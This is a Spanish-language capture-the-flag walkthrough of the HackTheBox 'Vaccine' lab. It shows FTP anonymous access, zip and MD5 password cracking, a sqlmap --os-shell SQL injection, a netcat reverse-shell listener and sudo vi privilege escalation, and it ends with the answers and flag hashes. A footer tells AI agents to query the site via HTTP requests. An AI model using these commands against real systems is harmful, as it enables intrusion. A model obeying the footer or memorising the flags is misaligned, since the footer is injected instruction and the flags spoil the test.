# Vaccine

### 1. 📝 **Introducción**

* **Nivel de Dificultad**: Muy fácil.
* **Tags:**&#x20;

  • **Vulnerability Assessment**: Evaluación sistemática para identificar y clasificar vulnerabilidades en sistemas, aplicaciones o redes.\
  • **Databases**: Repositorios estructurados de datos que pueden ser vulnerables a ataques como SQL injection.\
  • **Custom Applications**: Aplicaciones desarrolladas a medida que pueden contener vulnerabilidades específicas no presentes en aplicaciones comerciales.\
  • **Protocols**: Conjuntos de reglas que permiten la comunicación entre dispositivos, los cuales pueden ser explotados si contienen fallos.\
  • **Source Code Analysis**: Revisión del código fuente para identificar errores o vulnerabilidades de seguridad.\
  • **PostgreSQL**: Sistema de gestión de bases de datos que puede ser explotado mediante ataques como SQL injection.\
  • **FTP**: Protocolo de transferencia de archivos que puede exponer credenciales si no se implementa de manera segura.\
  • **Password Cracking**: Técnica de descifrado de contraseñas mediante ataques de fuerza bruta o diccionario.\
  • **SUDO Exploitation**: Aprovechamiento de configuraciones inseguras de SUDO para escalar privilegios en un sistema.\
  • **SQL Injection**: Inyección de código malicioso en consultas SQL para manipular bases de datos y extraer información.\
  • **Remote Code Execution**: Ejecución de código malicioso de manera remota en un sistema comprometido.\
  • **Clear Text Credentials**: Exposición de credenciales sin cifrado, lo que facilita su robo en tránsito.\
  • **Anonymous/Guest Access**: Permitir acceso sin autenticación o con credenciales por defecto, facilitando ataques.

### 2. 🛠️ **Entorno**

Nos descargamos nuestra VPN y nos conectamos.

```
sudo openvpn nombre_del_archivo.vpn
```

Iniciamos la máquina y verificamos la conexión.

```bash
ping -c 1 10.129.137.77
```

<figure><img src="/files/OMW2lRDiUmEfPz5zbEjp" alt=""><figcaption></figcaption></figure>

Observamos que tenemos conexión y que es una máquina **Linux** ya que su **ttl=63**.

### 3. 🔍 **Reconocimiento**

A continuación, se realiza el comando:

```bash
nmap -p- --min-rate 5000 -sV 10.129.137.77
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/AL9XTSbqV0QZcuvI6OMC" alt=""><figcaption></figcaption></figure>

### 4. 🚪 **Acceso Inicial**

Como podemos observar durante el escaneo que el **puerto 21** perteneciente al **servicio FTP,** el **puerto 22** perteneciente al **servicio SSH**  y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

Primero, accedemos a un servidor FTP utilizando el usuario `anonymous`. Esto nos permite descargar un archivo que probablemente está protegido con contraseña.

<figure><img src="/files/OP71vwn5zMct9iOIC9HR" alt=""><figcaption></figcaption></figure>

El archivo descargado está protegido con una contraseña. Por lo tanto, necesitamos una herramienta como **John the Ripper** para obtener dicha contraseña.

```bash
zip2john backup.zip > hash.txt
```

<figure><img src="/files/J09cIvfsQdCOzwNYAU0Z" alt=""><figcaption></figcaption></figure>

John the Ripper es una herramienta muy útil para romper contraseñas de archivos protegidos. Vamos a usarlo en conjunto con `zip2john`, que convierte el archivo comprimido en un formato que **John** pueda procesar.

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

<figure><img src="/files/uyyqhSA5v8lN1ME0v7T2" alt=""><figcaption></figcaption></figure>

Ahora que tenemos la contraseña, podemos descomprimir el archivo protegido.

<figure><img src="/files/eWWFENVGF5xRmDTqFoP7" alt=""><figcaption></figcaption></figure>

Mostramos el contenido del archivo `index.php` en el que se nos indica el nombre del usuario y su contraseña aunque en formato **MD5**.

<figure><img src="/files/PbuojtqW9Qyx1Ea7c6du" alt=""><figcaption></figcaption></figure>

A través de esta página desciframos la contraseña <https://www.dcode.fr/funcion-hash-md5>

<figure><img src="/files/Dq6Zz5jCLF3O6P3CltRP" alt=""><figcaption></figcaption></figure>

Accedemos con las credenciales obtenidas en los pasos anteriores.

<figure><img src="/files/mJo5zMZLDQ7CMNj0vVE3" alt=""><figcaption></figcaption></figure>

Obtenemos el valor de la cookie de cualquier coche.

<figure><img src="/files/LZx14oAil2iu1DJklgAv" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/z4XyJoJzflZsvJ2rzW4p" alt=""><figcaption></figcaption></figure>

```bash
sqlmap --url="http://10.129.137.77/dashboard.php?search=meta" --cookie="PHPSESSID=q9uc4eavt4kd65pgi5rc32jvgu" --os-shell
```

No hace falta probar más campos si hemos encontrado ya uno que no es ejecutable. Por lo que usamos una reverse shell.&#x20;

```bash
rlwrap nc -lvnp 443
```

<figure><img src="/files/YXGT6nZAAqDBjRc0SvF6" alt=""><figcaption></figcaption></figure>

Tras conseguir la reverse shell y así poder acceder mostramos el contenido del fichero `dashboard.php` en el que se nos muestra un usuario y una contraseña.

<figure><img src="/files/A1o295CGSdg73qogb42e" alt=""><figcaption></figcaption></figure>

### 5. 🔑 **Captura de la Flag**

Vemos que podemos usar **vi** con permisos de root. Accedemos al directorio `/var/lib/postgresql` en el que encontramos la flag del usuario.

<figure><img src="/files/xMEWzLjgxczsBNXwP4pT" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3pZsHelQ3CVGUxcmiKmH" alt=""><figcaption></figcaption></figure>

Accedemos a través de **SSH** al usuario con sus credenciales.

```bash
ssh postgres@10.129.137.77
```

<figure><img src="/files/k9mLOnwDEdCq3zq365pb" alt=""><figcaption></figcaption></figure>

Debemos de modificar el archivo de configuración utilizando **vi**.

```bash
/bin/vi /etc/postgresql/11/main/pg_hba.conf
```

Observamos está página <https://gtfobins.github.io/gtfobins/vi/>. Una vez en **vi**, presiona **escape** y luego escribe `:!/bin/bash`.

<figure><img src="/files/2idBClv9PhG90Twotvwn" alt=""><figcaption></figcaption></figure>

Accedemos al directorio de root en el que contiene la bandera de root.

<figure><img src="/files/BkuDQKWxdHnsUJVt2YAC" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/67C23g8R0eUYL1p8VTrB" alt=""><figcaption></figcaption></figure>

### 6. ❓Preguntas

#### Tarea 1: **Además de SSH y HTTP, ¿qué otro servicio está disponible en esta máquina?**

**FTP**

*Este servicio adicional disponible en el servidor es FTP, utilizado comúnmente para la transferencia de archivos.*

#### Tarea 2: **Este servicio puede configurarse para permitir el inicio de sesión con cualquier contraseña para un usuario específico. ¿Cuál es ese nombre de usuario?**

**anonymous**

*El servicio FTP se puede configurar para permitir el acceso sin autenticación real para el usuario `anonymous`.*

#### Tarea 3: **¿Cuál es el nombre del archivo descargado a través de este servicio?**

**backup.zip**

*Este archivo, `backup.zip`, fue descargado utilizando el servicio FTP y contiene datos potencialmente importantes.*

#### Tarea 4: **¿Qué script viene con el conjunto de herramientas de John The Ripper y genera un hash de un archivo ZIP protegido con contraseña en un formato que permite intentos de descifrado?**

**zip2john**

*El script `zip2john` convierte el archivo ZIP protegido en un formato adecuado para que John The Ripper pueda intentar descifrar la contraseña.*

#### Tarea 5: **¿Cuál es la contraseña del usuario admin en el sitio web?**

**qwerty789**

*La contraseña para el usuario administrador es `qwerty789`, y proporciona acceso a funciones administrativas en el sitio.*

#### Tarea 6: **¿Qué opción se puede pasar a sqlmap para intentar obtener ejecución de comandos a través de la inyección SQL?**

**--os-shell**

*La opción `--os-shell` de `sqlmap` se utiliza para intentar obtener una shell a través de una vulnerabilidad de inyección SQL.*

#### Tarea 7: **¿Qué programa puede ejecutar el usuario postgres como root usando sudo?**

**vi**

*El usuario `postgres` puede ejecutar el editor `vi` con privilegios de root mediante `sudo`, lo que podría permitir la escalada de privilegios.*

#### Tarea 8: **Enviar bandera de usuario**

ec9b13ca4d6229cd5cc1e09980965bf7

#### Tarea 9: **Enviar bandera de root**

dd6e058e814260bc70e9bbdef2715849


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/hackthebox/starting-point/vaccine.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
